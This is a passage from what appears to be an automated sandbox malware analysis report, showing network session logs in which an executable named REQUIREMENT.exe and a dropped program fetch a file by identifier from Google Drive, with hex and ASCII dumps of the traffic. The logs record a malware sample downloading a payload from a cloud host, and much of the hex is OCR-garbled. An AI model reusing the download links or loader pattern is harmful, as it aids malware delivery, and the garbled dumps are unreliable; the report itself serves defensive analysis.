bf 75 3d aa 69 37 08 65 6d f4 00 8b fO 88 ad 3f 43 3d 95 96 b0 34 2d 16 08 64 03 1f 5b 2d bb 27 5a 39 62 12 1d 9a fd 5d
c12cd0 8954 e9 el cdc6 c9e5 3aleae lc 8a0a09 8e
Data Ascii: )sSDWGe\e | LIXcVF'haS -nO4:" (r+B!2rfjl~ITVUW\PAr/ XWA4FnfiR\e8bnZ}t3B&S\G&bmmu=i7em?C=4-d[-'Z9b], T:

2021-10-13 13:47:09 UTC 151 IN Data Raw: 53 18 3e 2b 08 c5 b5 a0 cd 3b b3 ed f6 01 8e 59 52 4f f4 3f e3 ff 6b df 93 02 fc c6 8a 39 ae c4 bf 01 4a fc 05 86
a5 fa ce b9 fa 24 08 ea 6e 21 46 d8 cc 40 0f 52 56 63 ad ec d8 58 d2 Oe 01 43 02 54 45 ed dO f6 8b 2b 64 fd 1f 32 23 db
d8 2c 22 d1 d2 61 40 01 8d ac d4 75 a9 5d 22 78 7b 64 29 c3 67 58 59 6a d8 79 7c 8¢ be cb 79 12 3¢ 9b 55 82 c2 1a db fO
ca 94 db 3e 89 11 c9 61 1a 94 45 93 e6 c3 €6 1b 6e 52 c3 24 a9 e9 bf 8¢ 90 e4 df bl aa 2a c4 13 d9 2c c5 9a d4 ef Oe a7
75 b1 f3 35 be f1 6¢ d8 75 d5 cb 3f ff 2c a9 ab 97 ¢9 4d 82 bb d4 56 d6 2b 4f 81 99 c5 28 Oe 83 de f0 15 ab 89 8d b6 4e f8
55 16 a0 d2 d8 e5 9d ca c5 a5 5a b0 18 cf 3a 77 36 1c 46 11 33 3f f1 18 a6 Oa 3b 29 aa a3 4a 61 93 27 Oc 84 5d f3 a2 a3
6c 5f 03 02 29 15 fd 6f al 13 d8 40 cf 8a 80 01
Data Ascii: S>+;YRO?k9J$n!F@RVCcXCTE+d2#,"a@u]"x{d)gXYjyly<U>aEnR$*,u5lu?,MV+O(NUZ:w6F3?;)Ja’]l_)o@

2021-10-13 13:47:09 UTC 152 IN Data Raw: d9 35 7f b7 1c 53 ed Of f2 f3 da 8b 41 59 48 15 21 56 c4 38 6e ee f9 da 6¢ Oe 89 93 99 80 e6 6d 35 ad 1b a2 71
69 2a bl b9 49 76 4c 42 65 e4 70 69 c8 62 d8 01 09 76 b8 80 e5 41 61 7c a3 fO 2e ca 8f 23 01 e8 3d b9 78 83 97 b7 4e 54
70 5e fa f6 fc cf Ob 61 44 f6 73 el db b4 37 21 d3 63 86 d6 75 62 02 ee 34 af 58 54 d4 60 79 ab cc 38 1c ef c6 75 db Of 4e
97 45 6e 3d 78 71 49 4f 22 56 f4 78 cc 5e 47 0d e9 25 al b0 f4 Oa e4 bd 34 0f ca b1 15 b7 d6 fd 64 08 ¢3 7d 3a 3d 04 53
35 17 d4 8f 8c 5e 4e 0a 2b 18 d4 34 7d 81 2e 83 57 45 20 f8 12 f1 b7 a2 ba bb 3e 78 02 62 61 Ob de bd d9 d6 12 e7 8c ac
25 ea 98 0b 9d ba 03 c2 a7 22 1d fb 84 1e ba 4c c6 cc 64 79 d2 d3 98 65 db c0 al 5e 57 5a 16 83 59 eb 9e 89 6e 37 3f 31
33 0b al e0 af 25 2e a3 3d 6¢ c8 a5 cc 4c¢ b2 25 f1
Data Ascii: 5SAYH!V8nim5qi*lvL BepibvAal.#=xNTp~aDs7!cub4XT yBUNEN=xqlO"Vx"G%4d}: =S5 N+4}. WE >xba%"Ld
yerWzYn7?13%.=1L%

2021-10-13 13:47:09 UTC 153 IN Data Raw: 45 26 42 30 e7 de f3 eb cb 65 42 7f 20 e3 eb 2b b8 68 ab ce ff 7a 05 e5 65 14 cb 17 a3 29 41 36 71 €0 f5 42 Oa
9f 5f b6 6¢ 2e 33 4b f2 89 36 2d 8¢ 25 18 a8 01 79 98 2b b1l 7a b6 9b 81 53 b3 ec 31 97 71 2d 86 6e d6 4d 2a 1a 81 96 73
ec 33 af Ob 28 2c 21 b3 bd 6e 53 a3 8c 7b e5 5a 9b b8 77 c4 08 a6 21 b8 27 e4 1f 61 2b 22 8¢ 9c be be 3e 12 6b 2a c7 26
9d 92 e4 10 32 fe 7b bf b7 Of 4f 88 4a 7f 06 d8 1a f3 Ob 47 6e 7e 45 Oe 09 74 cd 05 d1 dO 6¢ d4 7f 90 99 e4 dO ac 1c 9a f8
6¢ 76 4f 8f 9e 4f fc 13 a3 33 d1 26 d5 2f 95 93 d9 f7 70 51 85 95 ed 79 d7 14 9e 3f 87 83 2d 1a 71 5¢ bc 34 de 39 8b 16 dd
€267 1d c3 b2 7e 82 1f ff 26 eb 6b 09 ee 4b 37 e7 cf e2 35 ea 17 56 17 16 f1 ee ab ea fe 4c ae 2d fe 35 72 ef 4c e5 1d 84
9b 3c 7223 95 bl e2f2 21 f5 e8 f5 68 3a a3
Data Ascii: E&BOeB +hze)A6qB_|.3K6-%y+zS1g-nM*s3(,!nS{Zw!'a+">k*&2{0JGn~EtllvOO3&/pQy?-q\49g~&kK75VL-
5rlL<z#lh:

2021-10-13 13:47:09 UTC 155 IN Data Raw: d9 5b c0 90 67 2f 35 78 19 9a c3 6b ed 42 94 13 7e 89 c9 95 29 89 02 3a 96 09 78 3b be 03 bc fc 00 c5 fe fb ed
5b d9 cb 4f 3f a5 a3 15 aa 15 2e 3a 68 7e cl al 7e c4 b9 7b 76 Oe df 11 c9 24 ¢5 1f 82 €6 91 2a a5 Oc 93 a4 e7 11 8a 4d
f53c Ob b1 16 17 13 e4 2d 63 91 45 c2 81 4e 79 b5 51 b4 76 51 91 c9 2a 13 3b eb 3e 2d 25 91 12 49 02 99 5f ea d9 9a 7d
20 fb 57 ff 9¢ 25 1c f8 36 ba 55 77 26 c4 7d 07 8¢ 94 b8 d9 18 48 74 7b 60 f6 d3 61 3d 51 26 c9 6d d2 64 Oe 26 2f 5a 32
50 eb 35 2f 9e 8d b4 d6 69 7b d9 57 al b3 bd 46 90 28 11 e7 19 40 89 30 71 3f ec db f0 18 52 8a a9 fc 64 eb 34 d8 48 92
3184 a3 7d 22 b7 03 1d 5¢ 52 b6 b3 56 a4 cc a8 54 eb bf 7b c¢3 f4 5d db 82 8e 18 6d ed 01 ee 5e 76 fd b6 03 33 fa 9b 40
al 04 17 d3 9d 29 41 dd e5 a5 3d 3a 3d 38 5a da d7 78
Data Ascii: [g/5xkB~):x;[0?.:h~~{v$*M<-cENyQvQ*;>-%I_} W%6Uw&}H{'a=Q&md&/Z2P5/i{WF(@0q?Rd4H1}"\RVT{
Im*v3@)A=:=8Zx
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2021-10-13 13:47:09 UTC 156 IN Data Raw: 36 42 2e 04 €9 fc 16 1d 43 d6 5d 11 1c 16 ba e5 a9 a0 49 00 2 45 8c ae 34 96 57 33 7c 70 Oe 3e 16 2b 6 f2 7f
e2 27 4e 28 03 5f 32 ee fb 3d a6 f4 db 2b fc 30 e5 ee 9¢ 11 ba 0d 65 41 81 93 c2 ac 88 4e e4 77 69 3d 81 f6 d6 07 98 7b f2
ee 15 1d 06 5e a5 49 11 31 e0 e2 c3 d4 41 aa 4d 21 77 1a 01 01 be 2f 9e 9b 44 74 {5 2f 1e b9 3d 5d f7 73 €5 b8 00 el 3c
9 be e7 f4 10 df 63 52 5f bd Oe 16 46 74 4e 63 e1 04 73 8b b1 02 39 19 e2 bb 8e 59 3c €5 9b 13 e8 7c €0 e8 b9 8¢ b6 82
90 46 b8 a5 el f5 ab 1b cO 8a eb 6d 63 03 22 91 23 57 €3 26 2c al 3¢ 52 c6 cb 23 04 67 00 79 a9 85 21 22 8¢ 30 78 13 ef
b7 e6 19 97 fd 9a 3f 56 37 5a 96 32 17 ca c0 fb 12 1d 4e 25 4b 0 ff 58 c2 e0 a7 7e 5c ff 77 d6 38 de d1 53 ed dc 25 8f 6f
62 d5 47 ff 83 91 6 68 2f €0 2e 1f 8a 2 97 d3
Data Ascii: 6B.C]IEAW3|p>+'N(_2=+0eANwi={"1AM!w/Dt/=]s<cR_FtNcs9Y<|Fmc"#W&,<R#gy!"0x?V7Z2N%KX~\w8S%
obGh/.

2021-10-13 13:47:09 UTC 157 IN Data Raw: 6e 40 fd 22 60 5e d0 18 4f 84 d6 ab 7c e8 57 a6 2f 2a 6e 23 a3 47 52 57 e7 3d c8 83 0a 46 le d1 02 2d 32 2e
8b 7d 83 7a 9b 55 09 69 69 af 76 3e 2d dO 8f 3b 61 be 55 aa 55 61 43 el 2f 52 8d 5f Ob 09 22 2d 6a f9 71 ea 7 ab 4d d9
03 5d 1a 3d bb 65 55 eb 62 87 41 49 84 50 41 8c 4a 30 55 75 43 2b 23 0a 57 7e dc 71 e7 6a a3 77 5a 56 fe d9 30 39 34 f9
45 46 24 92 72 5¢c 2a 81 39 88 75 97 bc c0 ee d6 49 13 10 c0 16 66 4e bd 9f al e7 Oc d4 31 d4 66 e7 de 97 84 b9 fb 3e 70
9f e1 50 96 ba 1e 3d 9b c1 1d 56 f5 08 22 12 f3 0d 36 d7 1a 1d 3b 93 75 01 24 cd 85 €8 a3 25 ad d2 ab 6f cc a4 09 df 39
cb 9e 10 fb 43 65 fc b2 65 af 71 76 36 d8 c7 c9 ec 03 47 83 aa 26 16 4c d1 6¢c 8a eb 17 52 a7 a3 e7 cf 24 1le 77 cc e4 08
2f fb 24 ec 8a 42 ac d4 4f 38 12 2b c0 6¢ 4d 7f 99 d5 e0
Data Ascii: n@" *O|W/*n#GRW=F-2.}zUiiv>-;aUUaC/R_"-jgM]=eUbAIPAJOUUC+#W~qjwZV094 EF$r\*QuIfN1f>pP=V"6
;u$%09Ceeqv6G&LIR$W/$SBO8+IM

2021-10-13 13:47:09 UTC 159 IN Data Raw: 79 af 9e 2d cd 94 5a ec 68 2a 6d 20 1f 50 5¢ ¢7 b1 67 da c2 04 36 3 da 27 a4 e3 4b 56 4b b6 92 37 69 86 65
1544 0b c8 9a c7 a4 dd be 2f cc 8a 71 83 90 5 f3 09 bd ef c4 bb ¢8 52 ¢7 93 3a 30 2d 12 2c d0 bb 5a bb fa 3c 4c cf c6 6b
44 a0 e7 40 6f 2b a4 a2 2e 05 4d 5e dd 00 74 e5 70 a9 b1 a6 df c2 4c 03 69 03 ac ca 8e 6a f4 f9 06 11 c1 53 d9 c8 b0 96
11 db f9 80 93 dd 74 e5 1e 93 c5 59 47 5e 8b 69 68 2e 42 03 09 16 ce 21 53 42 93 81 7c 6b 77 Oa 7d 2a 5a 89 20 e5 cl
7395 d0 77 c6 1f 13 0f 99 22 ca 61 7b 6¢ df c6 a2 52 cc e3 f3 0b f3 fe 46 a1 07 7d 71 1d 9c d3 bf Oa de f1 94 d9 08 99 7a
2c f4 45 3c af d7 84 76 92 c0 b4 d2 d1 ba al 47 al 74 ad a5 6¢ 81 71 ca 79 5a f8 e7 18 ec 5d ee ec 1f a7 b9 ¢8 55 3a 7c
c4 72 45 e6 53 d5 de 96 dc 3f f6 ac eb 7d 92 48 8b ca
Data Ascii: y-Zh*m P\g6'KVK7ieD/qR:0-,Z<LkD@o+.M"tpLijStYG"ih.B!SB|kw}*Z sw"a{lRF}qz,E<vGtlqyZ]U:|rES?}H

2021-10-13 13:47:09 UTC 160 IN Data Raw: ab cf f4 Of e8 d5 bd f2 cd 43 73 c8 b5 9f fb ba 6e 01 00 70 4e f7 9a 7e 8c 69 5a ed bc 2d fd 7b d2 88 dd bd 11
8a 9d a0 90 34 fa a9 e9 f9 65 5d 54 ef f9 f2 b6 a4 72 56 e4 f6 4b 41 a7 50 23 fe 9b 72 e4 Ob 2f 24 2 c4 6d 37 6b d3 bc 0d
cd f8 f1 12 a7 96 8c 08 29 ba 7b 02 6e 4f 47 d4 5f al a8 2b b0 f1 87 2f 77 al 02 5d b1 b1 70 ef 72 e0 a0 31 31 6e 1c a4 6a
5e 8d ef fO b6 19 ce 62 17 c2 17 10 af 49 bf fO d1 44 70 94 ed b5 d3 62 e8 e6 ad ae 8e eb 8c c1 88 ad d2 97 c4 39 el e4
00 b2 90 24 3d 58 ef d9 96 cc 2b 4e 87 43 80 cf 7e 85 c2 b4 e5 a3 6d d4 ed 4a 65 b2 el 85 ab 85 a8 b3 be 97 cc 90 36 ba
d2 69 4a 42 95 47 4e 87 cb 14 69 2b 49 95 27 ca 73 2c ¢7 19 2b 2d 91 8a d6 70 1b d0 37 25 68 9f 71 80 63 5d 6b be 3b
b8 54 0b 9f ef 3a e4 7a 68 a2 f5 63 3a 86 b2 85 25
Data Ascii: CsnpN~iZ-{4e]TrVKAP#r/$m7k){nOG_+/w]prl1nj*bIDpb9$=X+NC~mJe6iJBGNi+I's,+-p7%hqc]k;T:zhc:%

2021-10-13 13:47:09 UTC 161 IN Data Raw: 8d f7 b2 19 5d 80 ae 37 26 1f 47 da b4 c0 9f 33 aa 5d ed 1b e8 78 ff d8 00 f1 c3 12 fb 47 6c 7e c4 66 46 2e 92
d9 3d 43 78 b8 43 d8 d0 c7 26 ea 80 66 c5 5f d1 09 c4 16 1d 75 f4 25 3d e5 30 66 64 29 78 84 fe 36 d6 2b 00 a7 c3 2a cc
21 d6 26 2b bd d2 35 79 26 50 9d e0 d4 f6 75 14 ab e0 b2 57 79 22 e7 bc 60 b8 61 55 9c 41 d7 ce 7d f6 23 5a 9f df 79 3a
1b f1 a6 bc 76 ef 6a bd 63 22 0f 03 4d Oa 38 32 4d fc 81 8a 58 61 2e 0f 83 67 20 b3 86 54 a0 90 35 4c 65 f2 ¢6 d8 7d 9d
05 fa aa 93 3b d5 84 74 ef 81 14 02 d2 96 7a 36 Ob Oe c0 f8 01 65 72 80 ec f1 7c 1c 57 8 94 bl 5 85 4f 99 7 11 a5 1c 4b
00 4b 6¢ 31 7d 6f 1a 19 9f 59 3d 29 f1 51 07 40 d4 5f b2 3c 6¢ 9a Oa da 5¢ 97 4f 98 17 3e fb 33 d7 dc 8c 38 95 el 8d aa 57
2d 4c 08 8a 8a 85 36 fe 37 cc 21 d6 37 f3 b2 c9
Data Ascii: ]7&G3]xGI~fF.=CxC&f_u%=0fd)x6+*!&+5y&PuWy" aUA}#Zy:vjc"M82MXa.g T5Le};tz6er| WOKKI1}oY=)Q
@_<NO>38W-L67!7

2021-10-13 13:47:09 UTC 162 IN Data Raw: 96 9f 97 78 cd db 3e 87 d2 5¢ 13 95 6 51 ac 43 82 d6 44 cb 4b 9c 37 59 dc Oe 2b d0 47 2e 5 3b ce 89 39 a2 ec
98 0d fc 38 35 50 8e e6 16 da bl 9b 5b 7a Oe 19 30 73 60 e1 06 b6 48 d2 99 e6 12 23 8a 59 68 06 29 d1 e2 c2 fb b5 70 2d
f2 50 d1 66 64 4f 66 a6 ae 4b e3 96 75 7e b7 d1 26 f9 79 d6 9a 7f 05 fd e3 ac 95 0d 6d 2c d2 10 7c 55 46 d9 25 15 c4 bc
6e b5 d1 2a 46 7d f9 49 cd b8 e2 40 09 dc 47 f0 el 73 c1 10 d5 59 74 2a 13 73 31 58 c2 df cf 3d b2 f4 57 3b 72 49 fd 84
59 2d e9 25 46 3c 02 78 e0 0a 60 ab eb 71 85 69 8f 09 fe 3d 85 ec 79 4a 64 34 99 8c a2 ae 83 ef 9d 4e e0 9b d5 1c ad e8
27 cf 82 el 6f 5b d2 c8 a6 5f a4 b5 41 74 5¢ 8e da fb ¢7 1c 13 3¢ 81 1e 56 12 Ob c9 a3 47 f5 75 08 d8 el da b9 d5 04 81
Oe 76 f1 eb 6¢c a2 f3 c5 dc a4 ee 4b 12 18 d9 1f 4e 09
Data Ascii: x>\QCDK7Y+G.;985P[z0s H#Yh)p-PfdOfKu~&ym,|UF%n*FH@Gs Y t*s1X=W;rlY-%F <x qi=yJd4N'o[_At\<V
GuvikKN

2021-10-13 13:47:09 UTC 163 IN Data Raw: 90 bf d6 62 72 dO 74 ff ea 44 d7 b2 5d bb c8 40 4e 86 57 81 a7 97 33 67 21 e0 55 bb f5 2f d7 67 50 b0 bc 5b 7a
b0 15 67 6f bf 76 9c Ob 60 d0 ba 98 83 d9 f4 c6 6d a5 f3 17 9d 82 6 48 ca 1f bl aa c5 Oe f9 al ce 90 2d 43 fc dd 66 aa f2
29 8a 04 6a 22 ¢357 93 30 79 3e b3 62 €8 46 42 db 52 3f e0 7e 2d 42 Oe 58 02 85 ee 4f 6d 8e 3b c5 2e e5 33 6b 29 ba 1d
57 83 fa 54 63 bb dd 4b 89 eb 12 1f 95 27 c¢7 81 1c 28 3b 8a 67 8d 8d 1f 50 21 4e 30 30 55 3c 2a 42 d4 2d 9f 40 f1 b2 of
ec f4 10 9e ba b3 38 2a €3 27 17 45 99 d5 fd ef d9 fe 16 22 da c9 73 87 fc af 03 61 1f aa bb b4 92 2f 77 6d 23 37 45 92 03
bb 8d e8 f5 98 59 ae c6 eb 4e 8b 20 d3 7b ea c2 6a 71 41 ca 46 74 c0 d3 c5 48 86 Ob f3 4f 08 91 d8 11 88 38 35 71 06 04
2cde a9 73 al 4c ec 14 21 d1 5d f1 2e 70 8d 2d
Data Ascii: brtD]@NW3g!U/gP[zgov' mH-Cf)j"W0y>bFBR?~-BXOm;.3k)WTcK'(;gP!NOOU<*B-@8*E"sa/wm#7EYN {jgA
FtHO85q,sL!].p-

2021-10-13 13:47:09 UTC 164 IN Data Raw: b2 d6 00 5c 49 d0 60 f5 ff 47 34 80 9a 04 b8 7d 09 2a cd a4 f1 59 6¢ 51 3e 50 d0 73 a4 da e3 23 1d 8a de 08 bf
ca 5d al 2d 4a 40 9f 32 55 8a fa 60 13 8f 8e 2d 87 e5 15 e0 44 a0 70 99 6f c¢7 2d 38 9f c5 3 19 3b 37 fe a8 74 39 31 64 a7
aa 66 ef 11 91 9b f4 92 93 be 4d 6a 4e 98 55 4a 3c 68 d6 4a 49 2a a3 48 8a 29 a6 9b 4d 67 29 46 ba 42 92 64 ee 3c af e4
31 d2 89 4c ed 8¢ 56 ab 20 74 b0 02 28 89 57 00 e3 5a Oc 47 Oa da 3a af 99 10 92 87 98 b6 94 61 fb 2f b6 d6 07 40 c5 b0
Oc 2a 28 e9 5e 42 dd fe df b4 33 13 ae 49 52 a9 f4 db 15 dd 46 ee 2c¢ 30 71 59 eb ¢5 11 ce b7 e5 00 46 Oe 7f b5 3c 10 da
93 85 32 44 20 2e 86 ff 14 ¢3 7c 86 Ob ad 40 1b ba 3b 7f Oc 7f 80 fc 7a 77 5a Oa €3 c1 da e7 89 f2 aa 22 48 50 2a 16 72
57 8c bb b0 ee 7b 2c d4 f0 6d 0d 41 80 ec 04 36 7d
Data Ascii: \I'G4}*YIQ>Ps#]-J@2U"-Dpo-8;7t91dfMjNUJI<hJI*H)Mg)FBd<1LV t(WZG:a/@*("B3IRF,0qYF<2D .|@;z
WZ"HP*rW{,mA6}

2021-10-13 13:47:09 UTC 166 IN Data Raw: c1 9a 2c 76 59 1b 03 03 d3 73 73 73 c8 15 €8 06 b2 91 31 19 bb 31 f0 df 2e f1 3c 1a f5 72 61 38 a9 4a 6d al
75 4a 83 3d 3c 62 86 4f b6 21 ee fO b2 89 38 5a 02 59 37 80 ab ad 7 3f df dc f2 36 01 22 a8 e3 54 d5 2f 66 b6 al 68 al c9
7e 8c b9 ca 35 2f 79 e6 85 af 39 67 da e4 70 b5 34 36 Oa 1f a7 22 91 4d 79 49 10 88 60 e6 2c 6a e4 9c b5 f1 98 73 23 8f
ea 81 b7 8b 26 69 fe c2 db ea e2 €8 51 €9 8c b9 54 bd 8d el ea b2 91 a9 79 8e 70 4e 03 1f 1d 05 97 ca 3c 7e 3b 15 b0 3c
bd 02 d9 cd b2 18 00 5¢ b7 8¢ 97 24 18 f9 cd 9c 58 45 3b 8d 63 8a 47 83 dc 65 67 3a cd 3c 51 f8 54 20 b4 9c 1f 4e eb 7e
56 f0 76 1a 61 72 fO 06 96 ba ae d2 2f 52 a2 52 18 67 89 a3 81 1d ca 5a 0f 8f 0d 86 17 b6 e8 d2 22 b0 24 54 70 f9 44 5e
16 b4 30 14 d5 79 3e 15 70 ba 5a 59 96 2c a3 56 62 d6
Data Ascii: ,vYsss11.<ra8JmulJ=<bO!8ZY7?6"T/fh~5/y9gp46"My! js#&IQTypN<~;<\$XE;cGeg:<QT N~Vvar/RRgZ"
$TpD"0y>pZY,Vb

Copyright Joe Security LLC 2021 Page 79 of 136



kBytes
Timestamp transferred

2021-10-13 13:47:09 UTC 167

2021-10-13 13:47:09 UTC 168

Session ID Source IP

2 192.168.11.20
kBytes

Timestamp transferred

2021-10-13 13:51:46 UTC 169

2021-10-13 13:51:47 UTC 169

2021-10-13 13:51:47 UTC 170

2021-10-13 13:51:47 UTC 171

2021-10-13 13:51:47 UTC 171

Session ID Source IP

3 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49824

Direction

ouT

Source Port

49825

Direction

Data

Data Raw: a9 4b 16 0f 57 f6 7e 53 ba a6 e5 68 e3 7c 9e 55 b5 6b 99 2f 94 46 7b 4b 14 e9 61 99 fb Oa le af f5 b6 54 1c 12
76 4b b3 69 a3 28 32 59 76 08 fd b9 8a 7c 25 ee Oc c2 05 f3 a4 d3 13 dc 24 98 3a b9 14 99 8¢ 93 6 b5 6f 4f fd 66 c9 d8 fb
6fd7 19 b3 77 1a 88 4e 96 53 d9 71 7d 7e cb d1 69 ef f3 cd a9 b1 c5 45 35 88 98 f1 03 8b 13 72 12 f8 d2 87 48 e9 c1 d6
26 8b 01 7b 6a 7d 69 f8 7a 9e d4 66 85 a3 09 4e 2b 83 93 d8 45 1f d2 6¢ 6a €8 ea 88 33 ¢6 75 05 db da d9 02 50 €9 7c af
ae 14 9f 4f 9d 27 84 37 8e 15 8a da b6 3b 0f 9e 3f b7 54 75 be 4e d8 a3 d2 fO 9e 3f f1 70 2e ad 76 b6 8c ee 30 ea 21 08 35
8e 96 d6 59 b8 c9 dc 4d c6 5f df 67 a2 06 32 ca 5b 94 06 d7 03 d9 9b 99 33 8a 3d f7 c9 74 5b 47 43 ca 07 04 94 14 69 17
93 2¢ 78 19 18 1a 17 be 85 bf 19 ¢7 d7 7b 29 16

Data Ascii: KW~Sh|Uk/F{KaTvKi(2YV|%$:00fowNSq}~IE5rH&{j}izfN+EIlj3uP|O'7;?TuN?p.v0!5YM_g2[3=t[GCi,x{)

Data Raw: 63 00 43 el a3 a3 71 45 74 7e e7 b1 4f a3 01 01 d6 8¢ 99 €9 99 00 00 72 50 6¢ 63 97 3f 08 b0 9e 19 €9 6f 9d
25 0a e3 3b e6 ee c3 4d f4 f8 83 a0 bb al 45 ff 90 33 ea f1 d2 02 e3 b2 ba c0 54 ed 31 a6 fa da 8¢ 9a 11 8e 5 1c 69 02 23
46 ff 31 a4 c2 1c 1a 1a 88 73 84 30 c9 6f 32 c4 17 e3 e4 €9 7d fc d2 73 ee d3 09 a6 54 68 Oa c5 ff fc 8a d3 19 87 b3 76 ee
6e f9 10 80 06 17 e7 da 6d 28 29 31 94 1a 10 8a ad 80 97 bf 91 d8 a2 6a 2a 9e 19 5e cb 75 eb 80 1f 27 d1 d2 6f d2 25 b0
fc 56 34 8d 4a a7 35 68 8a a3 89 d8 e3 6a 90 b4 12 70 10 fO da 1b fe 86 20 81 5d a6 7b 4c b8 b3 02 da 5d 7d Oa 84 d7 c9
2a a5 de 51 1d 59 48 4c 22 c0 34 d4 5a 02 58 3c 0b 3e 0f 87 9f ac 7a 28 6f 5¢ 84 8 2¢ 83 bc b8 fd 7f ec aa 39 f1 de 15 18
2d e4 72 15 97 3b f6 Oe 85 5f e5 3f 39 53 84 c4

Data Ascii: cCqEt~OrPIc?0%;ME3T1i#F1s002}sThvnm()1j* u'0%V4J5hjp {L]}*QYHL"4ZX<>z(0\,9-r;_?9S

Destination IP Destination Port Process

172.217.168.46 443 C:\Users\user\Desktop\REQUIREMENT.exe

Data

GET /uc?export=download&id=1cavmvfhBKkRkr58kPbP8ymMPJAEJZGE13 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=erCQGVR30AbnIJ5pNFpHSCGAYJ62W5dN4HM7_6YgJIXNAuvU7WRafMRXMCMPUdUZRh5Qtdjggd
8vMSDtMqwA8YkuahRtOx0V301S2YDycscUArSU4sks1bjEliTSreHgGwIrYdsWnbS3-plvVy97QEU2IECEpIGBbrpS
mmZ_Evs

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 13 Oct 2021 13:51:46 GMT

Location: https://doc-00-60-docs.googleusercontent.com/docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcj
uutlcr6g08d513d6opcs9399/1634133075000/18281895610876391208/04225796272126474013Z/1cavmvfhBkRkr58kPh
P8YymMMPJAEJZGE13?e=download

Content-Security-Policy: script-src ‘nonce-K1hwybKVerhAsP3akJXn3A' ‘'unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 39 38 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 6f 2d 36 30 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65

Data Ascii: 198<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-00-60-docs.goog
leusercontent.com/docs/secure

Data Raw: 73 63 2f 6f 72 34 38 69 68 73 6b 30 76 6d 69 66 35 69 66 75 6¢ 33 65 34 38 74 62 63 69 6e 6a 62 76 35 35 2f
70 65 6f 74 69 67 63 6a 75 75 74 31 63 72 36 67 30 38 64 35 31 33 64 36 6f 70 63 73 39 33 67 39 2f 31 36 33 34 31 33 33
3037 35 30 30 30 2f 31 38 32 38 31 38 39 35 36 31 30 38 37 36 33 39 31 32 30 38 2f 30 34 32 32 35 37 39 36 32 37 32
313236 34 37 34 30 31 33 5a 2f 31 63 61 76 6d 76 66 68 42 6b 52 6b 72 35 38 6b 50 62 50 38 79 6d 4d 50 4a 41 45 4a
5a 47 45 31 33 3f 65 3d 64 6f 77 6e 6¢ 6f 61 64 22 3e 68 65 72 65 3c 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d
4c 3e Oa 0d Oa

Data Ascii: sc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs93g9/1634133075000/182818956108763
91208/04225796272126474013Z/1cavmvfhBkRkr58kPbP8ymMPJAEJZGE13?e=download">here</A>.</BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

172.217.168.33 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Data
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kBytes
Timestamp transferred

2021-10-13 13:51:47 UTC 171

2021-10-13 13:51:47 UTC 171

Session ID Source IP

4 192.168.11.20
kBytes

Timestamp transferred

2021-10-13 13:51:47 UTC 175

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49826

Direction
ouT

Data

GET /docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcjuutlcr6g08d513d6opcs93g9/1634133075000/18281895610
876391208/04225796272126474013Z/1cavmvfhBkRkr58kPbP8ymMPJAEJZGE13?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-00-60-docs.googleusercontent.com

Connection: Keep-Alive

HTTP/1.1 302 Found

X-GUploader-UploadID: ADPycdt_J8bzcQvcvgwpWhrbeaVWtRKbwnbu9yJMjI9U-_WQkQnebOT86UjsON_mTg-_
xgmseQmO3ulwBddCVqoH5g

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
